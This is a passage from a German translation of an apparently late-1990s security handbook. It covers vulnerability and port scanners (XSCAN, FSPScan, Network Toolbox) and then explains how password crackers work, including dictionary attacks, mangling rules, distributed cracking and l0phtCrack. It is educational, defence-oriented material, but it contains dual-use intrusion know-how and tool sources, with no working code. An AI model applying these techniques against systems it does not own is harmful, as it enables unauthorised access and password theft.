Nov 10 21:34:23 SamsHack in.rshd[278]: connect from
pm7-6.pacificnet.net
Nov 10 21:34:23 SamsHack in.nntpd[279]: connect from
pm7-6.pacificnet.net
Nov 10 21:34:28 SamsHack telnetd[269]: ttloop: read: Broken pipe
Nov 10 21:34:28 SamsHack nntpd[279]: pm7-6.pacificnet.net connect
Nov 10 21:34:28 SamsHack nntpd[279]: pm7-6.pacificnet.net refused
connection
Nov 10 21:34:33 SamsHack rlogind[277]: Connection from
207.171.17.199 on illegal port
Nicht sehr subtil, oder? Jeder Systemadministrator, der mit einer derartigen Ausgabe konfrontiert wird,
würde fuchsteufelswild werden. SAFESuite wurde jedoch entwickelt, um Ihr eigenes Netzwerk zu
überprüfen und nicht dazu, ahnungslose Netzwerke anzugreifen. SAFESuite ist heute wohl der
umfassendste kommerzielle Scanner auf dem Markt.
10.2.11 CONNECT
CONNECT ist ein sh-Skript mit dem Zweck, Subnetze für TFTP-Server auf Schwachstellen zu
überprüfen. (Wie Sie sich denken können, sind diese schwer zu finden. TFTP ist heutzutage fast immer
inaktiv.)
CONNECT prüft zurückgestellte IP-Adressen rekursiv. Aus diesem Grund sollten Sie den Prozeß in den
Hintergrund stellen (oder sich ein Bier besorgen, Mittagessen gehen, eine Partie Golf spielen).
Dieser Scanner ist nicht so wichtig, da TFTP heutzutage nur selten zur Verfügung steht. (Obwohl, wenn
Sie auf einen nachlässigen Systemadministrator treffen, bekommen Sie darüber möglicherweise die
/etc/passwd-Datei. Verlassen Sie sich jedoch nicht darauf. Die Chancen, einen offenen TFTP-Server und
eine nicht verborgene passwd-Datei auf dem gleichen Rechner zu finden, sind praktisch gleich null.)
Wegweiser:
Scanner
file:///d|/cool stuff/old/hack/kap10.htm (26 von 31) [19.04.2000 21:14:36]
Die Dokumentation zu CONNECT wurde von Joe Hentzel geschrieben. Hentzel zufolge ist der Autor
des Skripts anonym und das Freigabedatum unbekannt. Holen Sie sich eine Kopie unter
http://www.giga.or.at/pub/hakker/unix/ .
10.2.12 FSPScan
FSPScan führt Überprüfungen auf FSP-Servern durch. FSP, das File Service Protocol, ist ein
Internet-Protokoll ähnlich wie FTP. Es sorgt für anonyme Dateiübertragungen und bietet einen Schutz
gegen Netzwerküberlastungen. (FSP stürzt beipielsweise nie ab.) Das vielleicht wichtigste Merkmal von
FSP in bezug auf Sicherheit ist, daß es den Hostnamen des eingehenden Benutzers protokolliert. Dies
wird als überlegen zu FTP gesehen, das die E-Mail- Adresse des Benutzers verlangt (was effektiv
überhaupt kein Protokollieren ist). FSP ist populär genug, so daß jetzt FSP-GUI-Clients für Windows
und OS/2 zur Verfügung stehen.
Das Außergewöhnliche ist folgendes: FSPScan wurde von einem der Co-Autoren von FSP geschrieben.
Wer könnte ein solches Utility besser schreiben?
Wegweiser:
Holen Sie sich eine Kopie von FSPScan, geschrieben von Wen-King Su (freigegeben im Jahr 1991)
unter http://www.giga.or.at/pub/hacker/unix/.
10.2.13 XSCAN
XSCAN überprüft ein Subnetz (oder einen Host) auf X-Server-Schwachstellen. Auf den ersten Blick
erscheint dies nicht sehr wichtig - schließlich tun dies die meisten Scanner. XSCAN hat jedoch eine
weitere Funktion: Wenn er eine Schwachstelle findet, startet er sofort mit der Protokollierung der
Tastenanschläge an diesem Terminal.
Andere komfortable Merkmale von XSCAN beinhalten die Möglichkeit, mehrere Hosts im gleichen
Scan-Vorgang zu prüfen. Diese können in der Befehlszeile als Argumente eingegeben werden. (Sie
können auch Hosts und Subnetze in einer Art »Mix & Match«-Implementierung bestimmen.)
Den Quellcode dieses Utilities finden Sie auf der CD-ROM, die diesem Buch beiliegt.
Wegweiser:
Eine Kopie von XSCAN erhalten Sie unter http://www.giga.or.at/pub/hakker/unix/ .
10.3 Auf anderen Plattformen
Port-Scanner sind heutzutage für viele Plattformen erhältlich. Die meisten der Nicht-Unix- Tools führen
jedoch nur Überprüfungen auf offenen Ports durch. Network Toolbox ist ein gutes Beispiel.
Scanner
file:///d|/cool stuff/old/hack/kap10.htm (27 von 31) [19.04.2000 21:14:36]
10.3.1 Network Toolbox
Network Toolbox ist ein TCP/IP-Port-Scanner für Windows 95, der von der J. River Company of
Minneapolis entwickelt wurde. Network Toolbox ist schnell, effektiv und leicht zu benutzen. Abbildung
10.7 zeigt den Eröffnungsbildschirm der Applikation.
Abbildung 10.7: Der Network-Toolbox-Eröffnungsbildschirm
Bevor Sie eine Überprüfung mit Network Toolbox durchführen, müssen Sie die Eigenschaften für den
Scan-Vorgang festlegen. Standardmäßig überprüft Network Toolbox nur 14 TCP/ IP-Ports. Das reicht für
eine komplette Überprüfung nicht aus. Die Ausgabe eines standardmäßigen Scan-Vorgangs würde wie
folgt aussehen:
port: 9 discard Service available
port: 13 daytime Service available
port: 21 ftp Service available
port: 23 telnet Service available
port: 25 smtp Service available
port: 37 time Service available
port: 79 finger Service available
port: 80 http Service available
port:110 pop3 Service available
port:111 portmap Service available
port:512 exec Service available
port:513 login Service available
port:514 shell Service available
port:540 uucp Service available
Um eine umfassendere Überprüfung durchzuführen, müssen Sie die Eigenschaften für den Scan-Vorgang
festlegen. Dafür klicken Sie auf den Optionsbutton und rufen das Optionsbedienfeld auf, das in
Abbildung 10.8 gezeigt wird.
Scanner
file:///d|/cool stuff/old/hack/kap10.htm (28 von 31) [19.04.2000 21:14:36]
Abbildung 10.8: Das Network-Tool-Bedienfeld »Options«
Nach Öffnen des Optionsbedienfelds wählen Sie das Register »Port-Scanner«. Dies bringt Sie zu den
Optionen und Einstellungen für den Scan-Vorgang, siehe Abbildung 10.9.
Abbildung 10.9: Das Network-Toolbox-Port-Scanner-Optionen-Register
Das Register »Port-Scanner Option« stellt Ihnen eine Reihe von Optionen bezüglich Ports zur
Verfügung. Eine ist die Festlegung eines Bereichs durch eine Zahl (wenn Sie beispielsweise nur
privilegierte Ports überprüfen wollen).
Um den Zielhost zu überprüfen, wählen Sie den Scan-Button (Abbildung 10.10).
Abbildung 10.10: Der Scan-Button
Die Informationen, die Sie durch die Benutzung von Network Toolbox erhalten, sind denen von Strobe
sehr ähnlich. Sie erhalten keine Informationen über den Besitzer eines Prozesses, noch schlägt Network
Toolbox Türen oder Fenster ein. Die Applikation ist dennoch wertvoll, da sie schnell bestimmen kann,
welche Prozesse auf dem Zielrechner laufen.
10.4 Andere Port-Scanner
Es gibt mehrere andere populäre Portscanner. Einige führen einfach Scanvorgänge an Ports durch, andere
verfügen über zusätzliche Funktionen. Alle sind entweder als Shareware oder Freeware zu haben.
Tabelle 10.2 listet diese Scanner auf.
Tabelle 10.2: Andere beliebte Port-Scanner
Scanner Beschreibung und URL
SiteScan Geschrieben von Chameleon ist SiteScan ein kleiner, schneller Port-Scanner, der
offene Ports identifiziert und sogar einige übliche Web-Sicherheitslöcher entdeckt.
Sie erhalten ihn unter
http://www.antionline.com/archives/windows/scan/sitescan.exe
Scanner
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Chesapeake Der Chesapeake-Portscanner ist interessant, weil er in Java geschrieben wurde. Daher
gibt es keine Plattformbeschränkungen, Sie brauchen nur ein Java Runtime System.
Chesapeake ist auf Windows 95, Windows NT und Solaris getestet worden. Sie
erhalten ihn unter
http://www.ccci.com/tools/portscan/faq.htm
YAPS YAPS (Yet Another Port-Scanner) wurde von Theodore B. Hale für Windows 95
geschrieben. Dieser Scanner ist nicht als Freeware sondern als Demoware erhältlich,
d.h bei Gefallen zahlen Sie nach der 30-Tage Testversion eine Gebühr. YAPS finden
Sie unter
http://www.tni.net/~ted/Yaps/Yaps.html
nbtscan nbtscan wurde von Alla Bezroutchko geschrieben. Er führt Scanvorgänge für eine
vorgegebene Spannbreite von IP-Adressen durch und holt NBTSTAT-Daten von
gefundenen Hosts. nbtscan wurde in Perl geschrieben und läuft auf Unix. Schauen
Sie in die NT Security Mailing Liste für dieses Utility.
PortScanner PortScanner, der von Elliotte Rusty Harold geschrieben wurde, ist ein Java-basierter
Port-Scanner. Er ist einfach, kompakt, schnell und kostenlos. Sie finden ihn unter
http://sunsite.cnlab-switch.ch/javafaq/course/week12/13.html
TCP
PortScanner TCP PortScanner wurde von Dave Edis in Perl 5 geschrieben und läuft über ein
HTML-Interface auf Unix. Sie finden ihn unter
http://old.edis.org/
PortFlash PortFlash wurde von Webroot Software in Columbus geschrieben und ist ein
Windows-95-basierter Port-Scanner. Das Produkt finden Sie als Shareware unter
http://www.webroot.com/pflash.htm
Ostronet Der Ostronet-Scanner (geschrieben von Igor Ostrovsky) bietet alle grundlegenden
TCP-Utilities für Windows, darunter finger, whois, nslookup usw. Dazu bietet
Ostronet grundlegende Port-Scanvorgänge. Das Ostronet-Paket finden Sie unter
http://www.antionline.com/archives/windows/scan/ostronet.zip
10.5 Zusammenfassung
Internet-Sicherheit ist ein sich immer wieder veränderndes Gebiet. Wenn neue Sicherheitslöcher entdeckt
werden, werden sie in den verschiedenen Mailing-Listen, Warnverzeichnissen und Newsgruppen
veröffentlicht. Mit der Entdeckung jedes Sicherheitslochs werden den existierenden Scannern Module
hinzugefügt, die ein Prüfen auf dieses Sicherheitsloch ermöglichen - ein unendlicher Kreislauf.
Ich glaube, daß Scanner neue Systemadministratoren in Hinsicht auf potentielle Sicherheitsrisiken
Scanner
file:///d|/cool stuff/old/hack/kap10.htm (30 von 31) [19.04.2000 21:14:36]
schulen können. Scanner sind schon allein aus dem Grund ein wichtiges Element der Internet-Sicherheit.
Ich kann Ihnen nur empfehlen, so viele wie möglich auszuprobieren.
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file:///d|/cool stuff/old/hack/kap10.htm (31 von 31) [19.04.2000 21:14:36]
11
Paßwort-Knacker
Dieses Kapitel gibt Ihnen einen Überblick über Paßwort-Knacker und andere Programme, die dazu
entwickelt wurden, Paßwort-Sicherheitsmaßnahmen zu umgehen.
11.1 Was ist ein Paßwort-Knacker?
Ein Paßwort-Knacker ist ein Programm, das Paßwort-Sicherheitsmaßnahmen umgeht, indem es
Paßwörter aufdeckt, die vorher verschlüsselt wurden. Dies bedeutet jedoch nicht, daß ein
Paßwort-Knacker unbedingt irgend etwas entschlüsselt. Tatsächlich tun die meisten Paßwort-Knacker
das nicht.
In der Regel können Paßwörter, die mit starken Algorithmen verschlüsselt wurden, nicht entschlüsselt
werden. Die meisten Verschlüsselungsprozesse sind One-Way-Prozesse und es gibt keinen Prozeß, um
die Verschlüsselung wieder aufzuheben (zumindest nicht in einem angemessenen Zeitraum).
Statt dessen benutzt man Simulationstools, die den gleichen Algorithmus benutzen wie zur
Verschlüsselung des Originalpaßworts. Diese Tools führen vergleichende Analysen durch (ein Prozeß,
der später in diesem Kapitel erklärt wird).
Viele Paßwort-Knacker sind nichts als Brute-Force-Maschinen, d.h. Programme, die ein Wort nach dem
anderen ausprobieren, oft in sehr hoher Geschwindigkeit. Derartige Programme basieren auf der Theorie,
daß man schon irgendwann auf das richtige Wort oder den richtigen Satz treffen wird. Diese Theorie ist
durchaus zutreffend, da Menschen nun einmal faule Kreaturen sind. Sie machen sich nur selten die
Mühe, gute Paßwörter zu kreieren. Die Schuld an diesem Manko trägt jedoch nicht immer der Benutzer:
Benutzer sind nur selten, wenn überhaupt, geschult in der Auswahl eines sinnvollen
Paßworts. Wenn sich ein Paßwort in einem Wörterbuch befindet, ist es extrem anfällig,
geknackt zu werden, und Benutzer wissen einfach nicht, wie sie ein sicheres Paßwort
wählen. Und die Benutzer, die in diesem Bereich geschult sind, denken oft, daß ihr Paßwort
sicher vor Entdeckung ist, wenn es nicht in /usr/dict/words steht. Viele Benutzer
sagen auch, daß die Sicherheit ihres Accounts ihnen egal ist, wenn sie keine privaten
Dateien online haben, aber sie realisieren nicht, daß sie durch das Bereitstellen eines
Eingangspunkts zu ihrem System einem böswilligen Cracker ermöglichen, ihrem gesamten
System Schaden zuzufügen.1
Das Problem besteht beharrlich weiter trotz der Tatsache, daß es eine einfache Sache ist, Schulung im
Bereich Paßwortsicherheit anzubieten. Es ist erstaunlich, daß solch ein kritischer Sicherheitsaspekt
immer wieder übersehen wird (obwohl er leicht angesprochen werden kann). Dieser Punkt geht an den
Kern von Sicherheit:
Das Ausnutzen schlecht gewählter und wenig geschützter Paßwörter ist eine der
weitverbreitetsten Angriffe auf Systemsicherheit durch Cracker. Fast jedes Multi-User-
Paßwort-Knacker
file:///d|/cool stuff/old/hack/kap11.htm (1 von 28) [19.04.2000 21:14:40]
System nutzt Paßwörter als Schutz vor unautorisierten Zugriffen, aber vergleichbar wenige
wenden diese Paßwörter korrekt an. Das Problem ist universell und nicht systemspezifisch.
Und die Lösungen für dieses Problem sind einfach, billig und auf jedem Rechner
anwendbar, unabhängig von Betriebssystem und Hardware. Jeder kann sie verstehen und
man braucht keinen Administrator oder Systemprogrammierer, um sie zu implementieren.2
11.2 Wie funktionieren Paßwort-Knacker?
Der einfachste Weg zu verstehen, wie Paßwort-Knacker funktionieren, ist es zu verstehen, wie
verschlüsselte Paßwörter kreiert werden. Paßwort-Generatoren benutzen Kryptographie, d.h. die Praxis,
kodiert zu schreiben.
11.2.1 Kryptographie
Die etymologische Wurzel des Worts Kryptographie ist sehr aufschlußreich. Das Wort Krypto ist von
dem griechischen Wort kryptos abgeleitet. Kryptos beschreibt alles, was versteckt, verborgen,
verschleiert, heimlich oder mysteriös ist. Das Wort graphie ist von graphia abgeleitet und das bedeutet
Schrift. Also ist Kryptographie die Kunst der Geheimschrift. In seinem Bericht »Cryptography und
Encryption« gibt Yaman Akdeniz eine hervorragende und präzise Definition von Kryptographie:
Kryptographie, definiert als »die Wissenschaft und Lehre der Geheimschrift«, umfaßt die
Art und Weise, in der Kommunikation und Daten durch Codes, Chiffren und andere
Methoden verschlüsselt werden können, um eine Offenlegung ihrer Inhalte durch Abhören
oder Abfangen zu verhindern, so daß nur bestimmte Leute die richtige Nachricht sehen
können.3
Um den Prozeß der Kryptographie zu veranschaulichen, reduziere ich ihn auf seine fundamentalsten
Bestandteile. Stellen Sie sich vor, Sie haben Ihren eigenen Verschlüsselungscode entworfen, bei dem
jeder Buchstabe des Alphabets einer Zahl entspricht (siehe Abbildung 11.1).
Abbildung 11.1: Ein einfaches Beispiel für einen Code
Abbildung 11.1 hat eine Tabelle oder Legende. Unter jedem Buchstaben steht eine entsprechende Zahl.
A = 7, B = 2, usw. Dies ist sozusagen ein Verschlüsselungscode. Wenn Sie eine Nachricht nach diesen
Regeln schreiben, kennen nur Sie und der Empfänger den tatsächlichen Inhalt der Nachricht.
Leider kann ein derartiger Code sehr einfach geknackt werden. Wenn zum Beispiel jeder Buchstabe ein
festes numerisches Gegenstück hat, benutzen Sie nur 26 verschiedene Zahlen (vielleicht 1 bis 26, obwohl
Sie auch willkürliche Zahlen benutzen könnten). Eine lexikalische Analyse würde Ihren Code innerhalb
weniger Sekunden offenlegen. (Einige Software- Programme führen eine solche Analyse in sehr hoher
Geschwindigkeit durch, indem sie nach Mustern suchen, die für eine bestimmte Sprache üblich sind.)
ROT-13
Paßwort-Knacker
file:///d|/cool stuff/old/hack/kap11.htm (2 von 28) [19.04.2000 21:14:40]
Eine andere etwas komplexere Methode ist es, jeden Buchstaben durch einen anderen Buchstaben zu
ersetzen, basierend auf einer aufsteigenden oder absteigenden Standardmethode. Ein System, das in
dieser Art und Weise arbeitet, ist die ROT-13-Verschlüsselung. ROT-13 ersetzt einen Buchstaben durch
einen anderen, der in der Buchstabenfolge 13 Stellen weiter vorne steht (siehe Abbildung 11.2).
Abbildung 11.2: Buchstaben-Kodierung nach ROT-13
Dies ist ebenfalls eine ineffektive Methode, Nachrichten zu kodieren oder zu verschlüsseln (obwohl es zu
Zeiten des Römischen Reichs funktionierte, Cäsar benutzte eine »Drei- Schritte-vor«-Formel). Einige
Programme können dieses Muster schnell identifizieren. Das heißt jedoch nicht, daß Techniken wie
ROT-13 völlig nutzlos sind. Ich werde den Grund demonstrieren und dabei gleich den ersten wichtigen
Punkt zur Verschlüsselung klarstellen:
Jede Form von Verschlüsselung kann unter bestimmten Bedingungen nützlich sein. Diese
Bedingungen hängen ab von der Zeit, der Sensibilität der Informationen und der Identität
desjenigen, vor dem Sie diese Informationen verbergen möchten.
Anders gesagt können Techniken wie ROT-13 unter bestimmten Umständen recht nützlich sein. Hier ist
ein Beispiel: Nehmen wir an, ein Cracker möchte eine neue Cracking-Technik im Usenet
veröffentlichen. Er hat ein Sicherheitsloch gefunden und will es bekanntgeben, solange es noch
ausnutzbar ist. Um zu verhindern, daß Sicherheitsspezialisten das Sicherheitsloch ebenso schnell wie
Cracker entdekken, kodiert er seine Nachricht mit Hilfe von ROT-13.
Gruppen wie die NCSA laden routinemäßig Usenet-Traffic auf großangelegter Basis herunter. Auf diese
Weise sammeln sie Informationen über die Cracker-Gemeinde. Einige Gruppen benutzen sogar beliebte
Suchmaschinen, um Cracker-Techniken aufzuspüren. Diese Suchmaschinen suchen nach regulären
Wörtern oder Sätzen. Zum Beispiel gibt der Suchende eine Kombination von Wörtern ein wie
crack
hack
Schwachstelle
Sicherheitsloch
Wenn diese Mischung aus Wörtern richtig eingegeben wird, erhält der Suchende eine Fülle von
Informationen. Wenn ein Cracker jedoch ROT-13 benutzt, wird die Suchmaschine die entsprechende
Nachricht nicht angeben. Zum Beispiel wird die Nachricht
Qvrfr Anpuerpug jheqr zvg EBG-13 xbqvreg.
von einer gewöhnlichen Suchmaschine nicht erfaßt. Ihr tatsächlicher Inhalt lautet:
Diese Nachricht wurde mit ROT-13 kodiert.
Die meisten modernen Mail- und Newsprogramme unterstützen ROT-13-Kodierung und
Entschlüsselung. (FreeAgent von Forte ist eines, Netscape Navigators Mail-Paket ein anderes.) Dies ist
Paßwort-Knacker
file:///d|/cool stuff/old/hack/kap11.htm (3 von 28) [19.04.2000 21:14:40]
eine rudimentäre Form der Verschlüsselung, aber sie demonstriert das Konzept. Jetzt lassen Sie uns ein
bißchen in die Tiefe gehen.
DES und Crypt
Heutzutage laufen auf Internet-Informationsservern viele verschiedene Betriebssysteme. Für viele Jahre
jedoch war Unix das einzige Betriebssystem und daher wurden die meisten Paßwort-Knacker für Unix
entworfen. Lassen Sie uns mit Unix beginnen und uns dann weiter vorarbeiten.
In Unix werden die Login-Identifikationen und die Paßwörter aller Benutzer in einer Datei passwd
zentral gespeichert. Diese Datei enthält verschiedene Felder. Von diesen Feldern interessieren uns zwei:
die Login-ID und das Paßwort.
Die Login-ID wird in einfachem Text oder menschlich lesbarem Englisch gespeichert. Das Paßwort wird
in verschlüsselter Form gespeichert. Der Verschlüsselungsprozeß wird unter Nutzung von crypt(3)
durchgeführt, einem Programm, das auf dem Data Encryption Standard (DES) basiert.
IBM entwickelte die früheste Version von DES, heute wird es auf allen Unix-Plattformen zur
Verschlüsselung eingesetzt. DES wird sowohl vom National Bureau of Standards als auch von der
National Security Agency unterstützt. Tatsächlich gilt DES seit 1977 als allgemein gültige Methode zum
Schutz sensibler Daten. Abbildung 11.3 gibt Ihnen einen kurzen zeitlichen Überblick der Entwicklung
von DES.
Abbildung 11.3: Kurze Zeitübersicht der Entwicklung von DES
DES wurde entwickelt, um bestimmte, nur für den Dienstgebrauch gedachte Informationen in
Bundesbehörden zu schützen. Beschrieben wird das in der Federal Information Processing Standards
Publication 74, Guidelines for Implementing and Using the NBS Data Encryption Standard:
Da generelle Verschlüsselungstechnologien außerhalb des Gebiets der Nationalen
Sicherheit nicht verfügbar waren und da Sicherheitsmaßnahmen einschließlich
Verschlüsselung bei nur für den Dienstgebrauch gedachten Applikationen für
Computersysteme der Regierung notwendig waren, initiierte das National Bureau of
Standards (NBS) 1973 ein Computersicherheitsprogramm, das die Entwicklung eines
Standards für die Verschlüsselung von Computerdaten beinhaltete. Da Regierungsstandards
auf den privaten Sektor Einfluß nehmen, bemühte sich das NBS um Interesse und
Zusammenarbeit mit der Industrie und der Anwendergemeinde für diese Aufgabe.
Informationen über die ursrüngliche mechanische Entwicklung von DES sind rar. Berichten zufolge
machte IBM auf Anfrage der National Security Agency bestimmte Dokumente zur Verschlußsache. Der
Source-Code für crypt(3) (der aktuellen Implementierung von DES auf Unix) ist jedoch weitgehend
verfügbar. Das ist insofern von Bedeutung, da trotz all der Jahre, seit denen der Source-Code von Crypt
verfügbar ist, noch niemand einen Weg gefunden hat, wie man mit Crypt verschlüsselte Informationen
wieder zurückverschlüsseln kann.
Paßwort-Knacker
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Es gibt mehrere Versionen von Crypt, die alle etwas unterschiedlich arbeiten. Generell läuft der Prozeß
jedoch wie folgt ab:
1. Ihr Paßwort wird als einfacher Text aufgenommen (oder, im kryptographischen Jargon, als Klartext).
2. Ihr Paßwort wird als Schlüssel benutzt, um eine Reihe von Nullen zu verschlüsseln (64 insgesamt).
Der daraus resultierende kodierte Text wird als Chiffrentext bezeichnet, das ist der unleserliche Code, der
aus der Verschlüsselung von Klartext resultiert.
Bestimmte Versionen von Crypt, besonders crypt(3), gehen noch weiter. Zum Beispiel wird der
verschlüsselte Text nach Abschluß dieses Prozesses noch einmal verschlüsselt und wieder wird Ihr
Paßwort als Schlüssel benutzt. Dies ist eine ziemlich starke Verschlüsselungsmethode, die sich nur sehr
schwer knacken läßt.
DES nimmt übertragene Daten und kodiert sie über einen One-Way-Arbeitsvorgang, der auch als hash
bezeichnet wird. Dieser Arbeitsprozeß ist aus mathematischer Sicht einzigartig, da es zwar relativ
einfach ist, auf diesem Weg Daten zu kodieren, aber eine Dekodierung rechnerisch komplex und
Ressourcen-intensiv wird. Es wird z.B. geschätzt, daß ein und das selbe Paßwort auf 4.096 verschiedene
Arten kodiert werden kann. Ein durchschnittlicher Benutzer, der das System nicht kennt, könnte
wahrscheinlich sein ganzes Leben mit dem Versuch verbringen, DES zu knacken, und niemals Erfolg
haben. Um Ihnen einen Blick für die richtige Perspektive zu geben, hier eine Schätzung des National
Institute of Standard and Technology:
Der kryptographische Algorithmus [DES] verwandelt einen binären 64-Bit-Wert in einen
einzigartigen binären 64-Bit-Wert, der auf einer 56-Bit-Variablen basiert. Wenn die
komplette 64-Bit-Eingabe benutzt wird (d.h. keines der eingegebenen Bits sollte von Block
zu Block vorgegeben sein) und wenn die 56-Bit-Variable zufällig gewählt wird, kann keine
andere Technik als das Ausprobieren aller möglichen Schlüssel unter Benutzung bekannter
Eingabe und Ausgabe für den DES garantieren, daß der Schlüssel gefunden wird. Da es
über 70.000.000.000.000.000 (siebzig Quadrillionen) mögliche Schlüssel von 56 Bit gibt, ist
die Möglichkeit, einen bestimmten Schlüssel auf diese Art und Weise zu erhalten, in typisch
bedrohten Umgebungen praktisch nicht gegeben.4
Man könnte glauben, daß DES völlig unfehlbar sei. Das ist es nicht. Obwohl die Information nicht
zurückkodiert werden kann, können Paßwörter, die mit DES verschlüsselt wurden, durch einen
vergleichenden Prozeß ermittelt werden. Dieser Prozeß funktioniert wie folgt:
1. Sie besorgen sich eine Wörterbuch-Datei, das ist eine normale Datei mit einer Liste von Wörtern
(überlicherweise als Wortlisten bezeichnet).
2. Diese Wörter verschlüsseln Sie mit Hilfe von DES.
3. Jedes verschlüsselte Wort wird mit dem Zielpaßwort verglichen. Wenn Sie zwei gleiche finden, gibt es
eine 98prozentige Chance, daß das Paßwort geknackt wurde.
Dieser Prozeß an sich ist erstaunlich, um so erstaunlicher sind Programme zum Knacken von
Paßwörtern, die für diesen Zweck entwickelt wurden. Zum Beispiel können derartige Programme jedem
Wort eine ganze Reihe von Regeln zuordnen.
Eine solche Regel kann irgend etwas sein, jede Art und Weise, in der ein Wort geschrieben werden kann.
Paßwort-Knacker
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Übliche Regeln könnten u.a. sein:
Wechsle Groß- und Kleinschreibung ab!
Buchstabiere das Wort vorwärts und dann rückwärts und füge die Ergebnisse zusammen (z.B.
dassad)!
Füge die Zahl 1 zum Anfang oder zum Ende jeden Worts hinzu!
Natürlich dauert der Cracking-Prozeß länger, je mehr Regeln Sie anwenden. Aber mehr Regeln
garantieren aus verschiedenen Gründen auch eine höhere Erfolgswahrscheinlichkeit:
Das Unix-Dateisystem ist groß-/kleinsensitiv (WORKSTATION wird anders interpretiert als
Workstation oder workstation).
Das Abwechseln von Buchstaben und Zahlen in Paßwörtern ist eine weit verbreitete Praxis.
Paßwort-Knacker hatten einen enormen Einfluß auf die Sicherheit im Internet, hauptsächlich wegen ihrer
Effektivität:
Crypt benutzt den Widerstand von DES gegenüber Klartextangriffen und macht es
rechnerisch unmöglich, das Originalpaßwort, aus dem ein bestimmtes verschlüsseltes
Paßwort entstanden ist, durch intensives Suchen zu finden. Die einzige öffentlich bekannte
Methode, durch die bestimmte Paßwörter entdeckt werden können, ist das Raten von
Paßwörtern: Hierzu werden umfangreiche Wortlisten durch den Crypt- Prozeß
laufengelassen, um zu sehen, ob irgendeines der resultierenden verschlüsselten Wörter einer
Eingabe in die /etc/passwd-Datei entspricht. Unsere Erfahrung ist, daß diese Art des
Angriffs erfolgreich ist, außer es werden explizite Schritte unternommen, sie zu
durchkreuzen. In der Regel finden wir 30 Prozent der Paßwörter auf vorher ungeschützten
Systemen.5
Programme zum Knacken von Paßwörtern werden auch immer effektiver. Die Programme beinhalten
unfassendere Regeln und diverse Wortlisten.
Wortlisten sind Klartextdateien mit einem Wort pro Zeile. Diese Dateien sind etwa 1 Mbyte groß
(obwohl man leicht Wortlisten von 20 Mbyte erstellen könnte). Viele Wortlisten sind im Internet
erhältlich, und zwar in einer ganzen Reihe von Sprachen (so daß ein amerikanischer Cracker einen
italienischen Rechner knacken kann und umgekehrt).
Wegweiser:
Es gibt mehrere beliebte Wortlistensammlungen. Einige sind einfache Wörterbücher, andere
spezialisierte Wörterbücher, die mit Bindestrich geschriebene Wörter, groß- und kleingeschriebene
Wörter usw enthalten. Eine außergewöhnlich gute Quelle finden Sie unter http://www.cs.purdue.edu/
coast/. Die vielleicht genaueste Sammlung ist allerdings die des COAST- Projekts an der Purdue
University. Sie finden sie unter http://www.cs.purdue.edu/coast/ .
Paßwort-Knacker
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11.3 Der Wert von Paßwort-Knackern
Wenn Sie neu in der Systemadministration sind, fragen Sie sich wahrscheinlich, wie Sie von
Paßwort-Knackern profitieren können. Paßwort-Knacker können Ihnen dabei helfen, schwache
Paßwörter in Ihrem Netzwerk zu identifizieren.
Idealerweise sollten Sie einmal monatlich einen Paßwort-Knacker laufen lassen. Wenn Ihr Netzwerk
mehrere Plattformen unterstützt, werden Sie eine ganze Reihe von Utilities zum Knacken von
Paßwörtern brauchen. (Paßwort-Knacker, die für das Knacken von Unix-Paßwörtern entwickelt wurden,
können nicht auf Windows-NT-Paßwörter angewandt werden, etc.)
11.3.1 Der Prozeß des Paßwort-Knackens
Um Paßwörter zu knacken, brauchen Sie die folgenden Dinge:
Hinreichende Hardware
Einen Paßwort-Knacker
Eine Paßwortdatei
Lassen Sie uns kurz die Hardware-Aspekte besprechen.
Hardware-Aspekte
Das Knacken von Paßwörtern ist eine CPU- und speicherintensive Angelegenheit, die einige Tage dauern
kann. Um Paßwörter effektiv zu knacken, brauchen Sie geeignete Hardware.
Ich habe herausgefunden, daß Sie die folgenden Ressourcen brauchen, um große Paßwortdateien
komfortabel behandeln zu können:
Mindestens einen 66-MHz-Prozessor
Mindestens 32 Mbyte RAM
Sie können auch mit weniger klarkommen - sogar mit einem 25-MHz-Prozessor und 8 Mbyte RAM -
aber ich würde es nicht empfehlen. Wenn Sie es tun, sollte der Rechner, den Sie benutzen, nur für das
Knacken von Paßwörtern zur Verfügung stehen. (Erwarten Sie nicht, daß Sie ihn noch für andere
Aufgaben benutzen können.)
Es gibt Techniken für die Bewältigung von Hardware-Einschränkungen. Eine ist der Salontrick des
geteilten Crackings. Hierbei lassen Sie das Cracking-Programm parallel auf verschiedenen Prozessoren
laufen. Es gibt mehrere Wege, dies zu realisieren. Einer ist, die Paßwortdatei in zwei Teile zu teilen und
diese Teile auf verschiedenen Rechnern knacken zu lassen. Auf diese Weise wird die Arbeit auf mehrere
Workstations verteilt, und somit Ressourcen und Zeit eingespart.
Das Problem in bezug auf verteiltes Cracking ist, daß es sehr auffällig ist. Erinnern Sie sich noch an den
Fall Randal Schwartz? Herr Schwartz wäre wahrscheinlich niemals entdeckt worden, wenn er die
CPU-Ladung nicht verteilt hätte. Ein anderer Systemadministrator bemerkte die schwere Prozessorlast
und auch, daß ein Prozeß schon seit mehr als einem Tag lief. Verteiltes Cracking ist für einen Cracker
nicht sehr praktisch, es sei denn, er ist der Administrator einer Site oder er hat ein Netzwerk zu Hause
Paßwort-Knacker
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(was heutzutage nicht so ungewöhnlich ist; ich habe ein Netzwerk, das aus Windows-95-, Windows-NT-,
Linux-, Sun- und Novell-Rechnern besteht).
11.4 Die Paßwort-Knacker
Der Rest dieses Kapitels ist den einzelnen Paßwort-Knackern gewidmet. Einige Tools wurden dazu
entwickelt, Unix-passwd-Dateien zu knacken, andere nicht. Einige der aufgeführten Tools sind nicht
einmal Passwort-Knacker, sondern Hilfs-Utilities, die in Verbindung mit existierenden
Paßwort-Knackern eingesetzt werden können.
11.4.1 Paßwort-Knacker für Windows NT
Sie können die folgenden Utilities benutzen, um Paßwörter zu knacken, die unter Windows NT generiert
wurden. (Diese Utilities knacken keine Unix-Paßwörter.)
l0phtCrack 2.0
l0phtCrack 2.0 ist das am meisten gerühmte Tool zum Knacken von Paßwörtern, hauptsächlich weil es
einen zweiteiligen Ansatz befolgt, wie die Autoren erklären:
Paßwörter werden mit zwei verschiedenen Methoden berechnet. Die erste, ein
Nachschlagen im Wörterbuch, das auch Dictionary-Cracking genannt wird, benutzt eine
Wörterbuchdatei des Anwenders. Für jedes Wort innerhalb der Wörterbuchdatei wird eine
Hash-Kodierung berechnet, die dann mit allen hash-kodierten Paßwörtern des Anwenders
verglichen wird. Gibt es eine Übereinstimmung, hat man das Paßwort geknackt. Diese
Methode ist extrem schnell. Auf einem PPro 200 können Tausende von Benutzern mit einem
